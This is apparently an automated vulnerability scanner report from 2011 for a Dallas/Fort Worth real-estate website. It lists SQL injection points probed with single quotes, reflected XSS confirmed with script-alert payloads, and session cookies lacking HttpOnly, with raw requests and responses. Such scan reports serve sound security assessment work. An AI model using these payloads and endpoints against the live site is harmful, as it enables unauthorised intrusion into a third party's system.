cbdfw.com, XSS, SQL Injection, CWE-79, CWE-89

SQL Injection with XSS in cbdfw.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Wed Jan 05 13:40:48 CST 2011.



CWE-79 XSS Report

Loading

1. SQL injection

1.1. http://www.cbdfw.com/community/redirect.asp [REST URL parameter 2]

1.2. http://www.cbdfw.com/framein.asp [REST URL parameter 1]

1.3. http://www.cbdfw.com/property/property.asp [REST URL parameter 1]

2. Cross-site scripting (reflected)

2.1. http://www.cbdfw.com/property/proplist.asp [name of an arbitrarily supplied request parameter]

2.2. http://www.cbdfw.com/property/proplist.asp [name of an arbitrarily supplied request parameter]

3. Cookie without HttpOnly flag set

3.1. http://www.cbdfw.com/

3.2. http://www.cbdfw.com/default.asp

3.3. http://www.cbdfw.com/framein.asp

3.4. http://www.cbdfw.com/property/proplist.asp



1. SQL injection  next
There are 3 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.cbdfw.com/community/redirect.asp [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cbdfw.com
Path:   /community/redirect.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /community/redirect.asp' HTTP/1.1
Host: www.cbdfw.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=47594357.1294253434.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=47594357.2027652376.1294253434.1294253434.1294253434.1; __utmc=47594357; __utmb=47594357.1.10.1294253434; ASPSESSIONIDQATDQSQS=HCPONNDCCMLGBFOCJDOFILKK;

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Wed, 05 Jan 2011 19:34:58 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Content-Length: 309
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSCSBQBSA=KBCFIPDCBJJJFNEGGJJNNNOE; path=/
Cache-control: private

<font face="Arial" size=2>
<p>SearchCom.Query</font> <font face="Arial" size=2>error '80040e14'</font>
<p>
<font face="Arial" size=2>Unclosed quotation mark after the character string 'redirect.asp'))

'.</font>
...[SNIP]...

1.2. http://www.cbdfw.com/framein.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cbdfw.com
Path:   /framein.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /framein.asp' HTTP/1.1
Host: www.cbdfw.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=47594357.1294253434.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=47594357.2027652376.1294253434.1294253434.1294253434.1; __utmc=47594357; __utmb=47594357.1.10.1294253434; ASPSESSIONIDQATDQSQS=HCPONNDCCMLGBFOCJDOFILKK;

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Wed, 05 Jan 2011 19:34:29 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Content-Length: 308
Content-Type: text/html
Cache-control: private

<font face="Arial" size=2>
<p>SearchCom.Query</font> <font face="Arial" size=2>error '80040e14'</font>
<p>
<font face="Arial" size=2>Unclosed quotation mark after the character string 'framein.asp'))

'.</font>
...[SNIP]...

1.3. http://www.cbdfw.com/property/property.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cbdfw.com
Path:   /property/property.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /property'/property.asp HTTP/1.1
Host: www.cbdfw.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=47594357.1294253434.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=47594357.2027652376.1294253434.1294253434.1294253434.1; __utmc=47594357; __utmb=47594357.1.10.1294253434; ASPSESSIONIDQATDQSQS=HCPONNDCCMLGBFOCJDOFILKK;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Wed, 05 Jan 2011 19:36:56 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Content-Length: 297
Content-Type: text/html
Cache-control: private

<font face="Arial" size=2>
<p>SearchCom.Query</font> <font face="Arial" size=2>error '80040e14'</font>
<p>
<font face="Arial" size=2>Unclosed quotation mark after the character string ''))

'.</font>
...[SNIP]...

Request 2

GET /property''/property.asp HTTP/1.1
Host: www.cbdfw.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=47594357.1294253434.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=47594357.2027652376.1294253434.1294253434.1294253434.1; __utmc=47594357; __utmb=47594357.1.10.1294253434; ASPSESSIONIDQATDQSQS=HCPONNDCCMLGBFOCJDOFILKK;

Response 2

HTTP/1.1 302 Object moved
Connection: close
Date: Wed, 05 Jan 2011 19:36:56 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Location: /default.asp
Content-Length: 133
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSCSBQBSA=LNDFIPDCBEDDJNAEDEACCHCK; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/default.asp">here</a>.</body>

2. Cross-site scripting (reflected)  previous  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.cbdfw.com/property/proplist.asp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cbdfw.com
Path:   /property/proplist.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ba184'><script>alert(1)</script>7b925478dd9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /property/proplist.asp?ba184'><script>alert(1)</script>7b925478dd9=1 HTTP/1.1
Host: www.cbdfw.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=47594357.1294253434.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=47594357.2027652376.1294253434.1294253434.1294253434.1; __utmc=47594357; __utmb=47594357.1.10.1294253434; ASPSESSIONIDQATDQSQS=HCPONNDCCMLGBFOCJDOFILKK;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Jan 2011 18:57:37 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Content-Length: 67690
Content-Type: text/html
Expires: Wed, 05 Jan 2011 18:57:37 GMT
Set-Cookie: ASPSESSIONIDSCSBQBSA=OGEEIPDCHHFEPFJPANKPMCBH; path=/
Cache-control: private


<!-- Don't show Doctype when on property detail page -->


<html>
<head>

<title>Coldwell Banker Residential Brokerage - Dallas / Fort Worth</title>
<meta name="keywords" content="hom
...[SNIP]...
<a class='pagebox' href='proplist.asp?PageStart=11&VAR_CurrentPage=2&ba184'><script>alert(1)</script>7b925478dd9=1'>
...[SNIP]...

2.2. http://www.cbdfw.com/property/proplist.asp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cbdfw.com
Path:   /property/proplist.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef20a"><script>alert(1)</script>89d6323e3cd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /property/proplist.asp?ef20a"><script>alert(1)</script>89d6323e3cd=1 HTTP/1.1
Host: www.cbdfw.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=47594357.1294253434.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=47594357.2027652376.1294253434.1294253434.1294253434.1; __utmc=47594357; __utmb=47594357.1.10.1294253434; ASPSESSIONIDQATDQSQS=HCPONNDCCMLGBFOCJDOFILKK;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Jan 2011 18:57:31 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Content-Length: 67628
Content-Type: text/html
Expires: Wed, 05 Jan 2011 18:57:31 GMT
Set-Cookie: ASPSESSIONIDSCSBQBSA=DGEEIPDCDDDPHGFBIKFECEGJ; path=/
Cache-control: private


<!-- Don't show Doctype when on property detail page -->


<html>
<head>

<title>Coldwell Banker Residential Brokerage - Dallas / Fort Worth</title>
<meta name="keywords" content="hom
...[SNIP]...
<a href="javascript:openWin('proplistprint.asp?VAR_print=1&ef20a"><script>alert(1)</script>89d6323e3cd=1','','toolbar=no,location=no,directories=no,status=no,menubar=yes,scrollbars=yes,resizable=yes,width=640,height=480')">
...[SNIP]...

3. Cookie without HttpOnly flag set  previous
There are 4 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



3.1. http://www.cbdfw.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.cbdfw.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.cbdfw.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 05 Jan 2011 18:50:51 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Content-Length: 116369
Content-Type: text/html
Expires: Mon, 01 Jan 2001 08:00:00 GMT
Set-Cookie: ASPSESSIONIDQATDQSQS=HCPONNDCCMLGBFOCJDOFILKK; path=/
Cache-control: private


<!-- Don't show Doctype when on property detail page -->

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">


<html>
<head>

<title>Coldwe
...[SNIP]...

3.2. http://www.cbdfw.com/default.asp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.cbdfw.com
Path:   /default.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /default.asp HTTP/1.1
Host: www.cbdfw.com
Proxy-Connection: keep-alive
Referer: http://burp/show/24
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSCSBQBSA=MJFEIPDCPBGOAJDOGKJECKHK; __utmz=47594357.1294254111.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=47594357.2027652376.1294253434.1294253434.1294254111.2; __utmc=47594357

Response

HTTP/1.1 200 OK
Date: Wed, 05 Jan 2011 19:37:44 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Content-Length: 116364
Content-Type: text/html
Expires: Mon, 01 Jan 2001 08:00:00 GMT
Set-Cookie: ASPSESSIONIDQATDQSQS=HFNPNNDCNGGDAFGGFAAIMGPK; path=/
Cache-control: private


<!-- Don't show Doctype when on property detail page -->

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">


<html>
<head>

<title>Coldwe
...[SNIP]...

3.3. http://www.cbdfw.com/framein.asp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.cbdfw.com
Path:   /framein.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /framein.asp HTTP/1.1
Host: www.cbdfw.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=47594357.1294253434.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=47594357.2027652376.1294253434.1294253434.1294253434.1; __utmc=47594357; __utmb=47594357.1.10.1294253434; ASPSESSIONIDQATDQSQS=HCPONNDCCMLGBFOCJDOFILKK;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Jan 2011 19:32:49 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Content-Length: 11380
Content-Type: text/html
Expires: Wed, 05 Jan 2011 19:32:49 GMT
Set-Cookie: ASPSESSIONIDSCSBQBSA=AFPEIPDCKLKDGADCLEBJONKH; path=/
Cache-control: private


<!-- Don't show Doctype when on property detail page -->

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">


<html>
<head>

<title>Coldwe
...[SNIP]...

3.4. http://www.cbdfw.com/property/proplist.asp  previous

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.cbdfw.com
Path:   /property/proplist.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /property/proplist.asp HTTP/1.1
Host: www.cbdfw.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=47594357.1294253434.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=47594357.2027652376.1294253434.1294253434.1294253434.1; __utmc=47594357; __utmb=47594357.1.10.1294253434; ASPSESSIONIDQATDQSQS=HCPONNDCCMLGBFOCJDOFILKK;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Jan 2011 18:56:43 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
Content-Length: 66342
Content-Type: text/html
Expires: Wed, 05 Jan 2011 18:56:43 GMT
Set-Cookie: ASPSESSIONIDSCSBQBSA=CPDEIPDCPLLCNCAEDMHBGKGM; path=/
Cache-control: private


<!-- Don't show Doctype when on property detail page -->


<html>
<head>

<title>Coldwell Banker Residential Brokerage - Dallas / Fort Worth</title>
<meta name="keywords" content="hom
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Wed Jan 05 13:40:48 CST 2011.